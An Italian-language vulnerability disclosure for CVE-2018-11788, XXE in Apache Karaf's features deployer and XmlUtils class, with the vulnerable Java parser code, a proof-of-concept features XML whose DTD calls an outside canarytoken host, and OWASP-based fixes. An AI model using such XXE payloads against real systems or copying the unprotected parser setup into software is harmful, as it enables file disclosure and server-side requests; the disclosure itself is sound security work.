
Vulnerabilità XXE di Apache Karaf (CVE-2018-11788)
Apache Karaf è un contenitore applicativo moderno e polimorfo. È un contenitore leggero, potente e pronto per l'impresa, basato su OSGi. Apache Karaf è un "progetto prodotto", che fornisce un runtime completo e chiavi in mano. Il runtime è "multi-faccettato", il che significa che puoi distribuire diversi tipi di applicazioni: OSGi o non OSGi, applicazioni web, basate su servizi, ecc.
In una recente ricerca su Apache Karaf, ho trovato alcune vulnerabilità XXE (XML eXternal Entity injection) esistenti nei suoi parser XML. Sono causate dal fatto che i parser analizzano impropriamente i documenti XML.
Secondo il manuale ufficiale, Apache Karaf fornisce un features deployer predefinito, che consente agli utenti di "deployare a caldo" un XML di features semplicemente inserendo il file direttamente nella cartella deploy.
Quando inserisci un XML di features nella cartella deploy, il features deployer fa:
Ad esempio, inserire il seguente XML nella cartella deploy installerà automaticamente feature1 e feature2, mentre feature3 non verrà installata:
<?xml version="1.0" encoding="UTF-8"?>
<features name="my-features" xmlns="http://karaf.apache.org/xmlns/features/v1.3.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://karaf.apache.org/xmlns/features/v1.3.0 http://karaf.apache.org/xmlns/features/v1.3.0">
<feature name="feature1" version="1.0" install="auto">
...
</feature>
<feature name="feature2" version="1.0" install="auto">
...
</feature>
<feature name="feature3" version="1.0">
...
</feature>
</features>
Per capire come il deployer gestisce il file XML, ho controllato i codici sorgente di Karaf su Github e ho trovato le seguenti invocazioni:
Activator invoca la funzione doStart() per avviare un listener per il deployerdoStart() invoca FeatureDeploymentListener.init() per inizializzare un listenerbundleChanged - canHandle - getRootElementName per analizzare il documento XML sfruttando XMLInputFactoryMa dopo un'ulteriore indagine sulla funzione getRootElementName come di seguito, non c'è alcuna prevenzione contro XXE.
private QName getRootElementName(File artifact) throws Exception {
if (xif == null) {
xif = XMLInputFactory.newFactory();
xif.setProperty(XMLInputFactory.IS_NAMESPACE_AWARE, true);
}
try (InputStream is = new FileInputStream(artifact)) {
XMLStreamReader sr = xif.createXMLStreamReader(is);
sr.nextTag();
return sr.getName();
}
}
Pertanto, ho ipotizzato che rappresentasse un potenziale rischio per la sicurezza per Apache Karaf.
Per verificare la mia ipotesi, ho testato l'ultima release ufficiale di Apache Karaf 4.2.0 scaricata da https://karaf.apache.org/download.html come segue.
bin per avviare la console dei comandi di Karaf come mostrato di seguito bin$ ./karaf
__ __ ____
/ //_/____ __________ _/ __/
/ ,< / __ `/ ___/ __ `/ /_
/ /| |/ /_/ / / / /_/ / __/
/_/ |_|\__,_/_/ \__,_/_/
Apache Karaf (4.2.0)
Hit '<tab>' for a list of available commands
and '[cmd] --help' for help on a specific command.
Hit '<ctrl-d>' or type 'system:shutdown' or 'logout' to shutdown Karaf.
karaf@root()>
27av6zyg33g8q8xu338uvhnsc.canarytokens.com<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://27av6zyg33g8q8xu338uvhnsc.canarytokens.com"> %dtd;]
<features name="my-features" xmlns="http://karaf.apache.org/xmlns/features/v1.3.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://karaf.apache.org/xmlns/features/v1.3.0 http://karaf.apache.org/xmlns/features/v1.3.0">
<feature name="deployer" version="2.0" install="auto">
</feature>
</features>
deployapache-karaf-4.2.0$ cd deploy/
deploy$ tree
.
├── README
└── poc.xml
Attendi un po', e poi vedrai le richieste DNS dalla tua macchina di test, il che significa che il parser XML sta tentando di caricare entità esterne incorporate nei DTD

Segui la guida OWASP di seguito che fornisce informazioni concise per prevenire questa vulnerabilità. https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet#Java
Ad esempio, aggiungendo il codice seguente per disabilitare DTD ed entità esterne nella funzione getRootElementName.
xif.setProperty(XMLInputFactory.SUPPORT_DTD, false); // Questo disabilita completamente i DTD per quella factory
xif.setProperty("javax.xml.stream.isSupportingExternalEntities", false); // disabilita le entità esterne
Oltre alla scoperta menzionata sopra, ho trovato anche un'altra classe XmlUtils nel progetto Apache Karaf che non aggiungeva alcuna protezione dalla vulnerabilità XXE durante l'analisi del documento XML.
package org.apache.karaf.util;
import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
import javax.xml.parsers.SAXParserFactory;
import javax.xml.transform.Result;
import javax.xml.transform.Source;
import javax.xml.transform.Transformer;
import javax.xml.transform.TransformerConfigurationException;
import javax.xml.transform.TransformerException;
import javax.xml.transform.TransformerFactory;
import org.w3c.dom.Document;
import org.xml.sax.ErrorHandler;
import org.xml.sax.SAXException;
import org.xml.sax.XMLReader;
/**
* Utils class to manipulate XML document in a thread safe way.
*/
public class XmlUtils {
private static final ThreadLocal<DocumentBuilderFactory> DOCUMENT_BUILDER_FACTORY = new ThreadLocal<>();
private static final ThreadLocal<TransformerFactory> TRANSFORMER_FACTORY = new ThreadLocal<>();
private static final ThreadLocal<SAXParserFactory> SAX_PARSER_FACTORY = new ThreadLocal<>();
public static Document parse(String uri) throws TransformerException, IOException, SAXException, ParserConfigurationException {
DocumentBuilder db = documentBuilder();
try {
return db.parse(uri);
} finally {
db.reset();
}
}
public static Document parse(InputStream stream) throws TransformerException, IOException, SAXException, ParserConfigurationException {
DocumentBuilder db = documentBuilder();
try {
return db.parse(stream);
} finally {
db.reset();
}
}
public static Document parse(File f) throws TransformerException, IOException, SAXException, ParserConfigurationException {
DocumentBuilder db = documentBuilder();
try {
return db.parse(f);
} finally {
db.reset();
}
}
public static Document parse(File f, ErrorHandler errorHandler) throws TransformerException, IOException, SAXException, ParserConfigurationException {
DocumentBuilder db = documentBuilder();
db.setErrorHandler(errorHandler);
try {
return db.parse(f);
} finally {
db.reset();
}
}
public static void transform(Source xmlSource, Result outputTarget) throws TransformerException {
Transformer t = transformer();
try {
t.transform(xmlSource, outputTarget);
} finally {
t.reset();
}
}
public static void transform(Source xsltSource, Source xmlSource, Result outputTarget) throws TransformerException {
Transformer t = transformer(xsltSource);
try {
t.transform(xmlSource, outputTarget);
} finally {
t.reset();
}
}
public static XMLReader xmlReader() throws ParserConfigurationException, SAXException {
SAXParserFactory spf = SAX_PARSER_FACTORY.get();
if (spf == null) {
spf = SAXParserFactory.newInstance();
spf.setNamespaceAware(true);
SAX_PARSER_FACTORY.set(spf);
}
return spf.newSAXParser().getXMLReader();
}
public static DocumentBuilder documentBuilder() throws ParserConfigurationException {
DocumentBuilderFactory dbf = DOCUMENT_BUILDER_FACTORY.get();
if (dbf == null) {
dbf = DocumentBuilderFactory.newInstance();
dbf.setNamespaceAware(true);
DOCUMENT_BUILDER_FACTORY.set(dbf);
}
return dbf.newDocumentBuilder();
}
public static Transformer transformer() throws TransformerConfigurationException {
TransformerFactory tf = TRANSFORMER_FACTORY.get();
if (tf == null) {
tf = TransformerFactory.newInstance();
TRANSFORMER_FACTORY.set(tf);
}
return tf.newTransformer();
}
private static Transformer transformer(Source xsltSource) throws TransformerConfigurationException {
TransformerFactory tf = TRANSFORMER_FACTORY.get();
if (tf == null) {
tf = TransformerFactory.newInstance();
TRANSFORMER_FACTORY.set(tf);
}
return tf.newTransformer(xsltSource);
}
}